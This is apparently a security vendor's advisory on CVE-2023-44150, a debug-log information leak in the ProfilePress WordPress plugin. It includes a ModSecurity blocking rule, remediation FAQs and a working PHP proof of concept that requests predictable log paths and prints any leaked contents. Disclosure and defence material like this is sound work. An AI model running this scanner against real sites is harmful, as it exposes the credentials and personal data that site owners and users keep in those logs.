-define('PPRESS_VERSION_NUMBER', '4.13.2');
+define('PPRESS_VERSION_NUMBER', '4.13.3');

 if ( ! defined('PPRESS_STRIPE_API_VERSION')) {
     define('PPRESS_STRIPE_API_VERSION', '2022-11-15');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2023-44150
# Block direct access to predictable ProfilePress debug log files.
# The log files are written to /wp-content/uploads/ppress-logs/ with names like debug.log or error.log.
# In patched versions, filenames include a random token, so legitimate access to these exact predictable names should never occur.
SecRule REQUEST_URI "@rx ^/wp-content/uploads/ppress-logs/(debug|error).log$" 
    "id:20261994,phase:2,deny,status:403,msg:'CVE-2023-44150 via ProfilePress debug log access',severity:'CRITICAL',tag:'CVE-2023-44150'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2023-44150 - ProfilePress <= 4.13.2 - Information Disclosure via Debug Log

// Configuration: Target WordPress site URL (no trailing slash)
$target_url = 'http://example.com';

// Common log filenames to try
$log_files = [
    'debug.log',
    'error.log',
    'ppress-debug.log',
    'ppress-error.log'
];

// Base path for ProfilePress logs (default)
$base_path = '/wp-content/uploads/ppress-logs/';

foreach ($log_files as $log_file) {
    $url = $target_url . $base_path . $log_file;
    echo "[*] Trying: $urln";

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code === 200 && !empty($response)) {
        echo "[+] Found log file: $urln";
        echo "[+] Content (first 500 bytes):n";
        echo substr($response, 0, 500) . "n";
        // Optionally save to file
        // file_put_contents('leaked_' . basename($log_file), $response);
        exit(0);
    } else {
        echo "[-] Not found or empty (HTTP $http_code)n";
    }
}

echo "[-] No log file found at common paths.n";
?>

Frequently Asked Questions

What is CVE-2023-44150?
Vulnerability overview
CVE-2023-44150 is an information disclosure vulnerability in the ProfilePress plugin for WordPress, affecting versions up to and including 4.13.2. It allows unauthenticated attackers to access debug log files that may contain sensitive information. The vulnerability has a CVSS score of 5.3, rated as medium severity.
How does the vulnerability work?
Technical mechanism
The plugin writes debug and error messages to predictable filenames, such as debug.log, inside the publicly accessible uploads directory. Because there is no access control, an attacker can directly request these files over HTTP. The patch in version 4.13.3 adds a random token to the filename, making it unguessable.
Who is affected by this vulnerability?
Affected versions and configurations
Any WordPress site running ProfilePress version 4.13.2 or earlier is affected. The vulnerability is exploitable regardless of other plugins or themes, as long as the plugin is active and debug logging has generated log files. Sites that have never triggered debug logging may not have a log file present, but the risk remains if logging occurs.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of ProfilePress in the WordPress admin under Plugins. If it is 4.13.2 or lower, the site is potentially vulnerable. You can also attempt to access common log file paths, such as /wp-content/uploads/ppress-logs/debug.log, to see if they are publicly readable, but only do this on systems you own or have permission to test.
What is the risk level of this vulnerability?
Practical impact
The CVSS score of 5.3 indicates a medium severity issue. While the direct impact is information disclosure, the leaked logs may contain sensitive data like system errors, API keys, database credentials, or personal information. This information can be used to further compromise the site, making the real-world risk moderate to high.
How can I fix or mitigate this vulnerability?
Remediation and workarounds
The primary fix is to update ProfilePress to version 4.13.3 or later, which randomizes the log filename. If immediate update is not possible, consider blocking access to the /wp-content/uploads/ppress-logs/ directory via server configuration, or disable debug logging if the plugin provides that option. Regularly review and remove any existing log files.
What does the proof of concept demonstrate?
PoC explanation
The proof of concept script sends HTTP GET requests to common log file paths, such as debug.log, and checks for a successful response. If the log file is accessible, it retrieves and displays the content. This demonstrates how an unauthenticated attacker can easily obtain sensitive information without any special tools.
What information could be exposed in the debug logs?
Sensitive data risks
Debug logs may contain system errors, full file paths, database errors revealing table prefixes, API keys, user credentials, session tokens, and personal data from failed transactions. This information can aid attackers in privilege escalation, social engineering, or further attacks against the site and its users.
Is there a duplicate CVE for this issue?
Related CVE identifier
CVE-2023-50882 appears to be a potential duplicate of CVE-2023-44150. Both refer to the same information disclosure vulnerability in ProfilePress. Administrators should treat them as the same issue and apply the same remediation.
How does the patch in version 4.13.3 work?
Patch analysis
The patch introduces a random token to the log filename, generated using uniqid and wp_rand, and stored in the WordPress option ppress_debug_log_token. It also adds helper functions to safely handle file operations and migrates the old predictable log file to the new name. This makes the log file effectively unguessable by attackers.
What should I do if I cannot update immediately?
Interim mitigations
If you cannot update right away, restrict access to the /wp-content/uploads/ppress-logs/ directory using server rules, such as .htaccess or Nginx configuration. Additionally, delete any existing log files and consider disabling debug logging if the plugin allows it. Monitor for any suspicious activity and plan to update as soon as possible.
Can this vulnerability be exploited without authentication?
Authentication requirements
Yes, the vulnerability can be exploited by unauthenticated attackers. No login or special privileges are required. An attacker only needs to send a simple HTTP request to the predictable log file path, making it easy to automate and exploit at scale.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started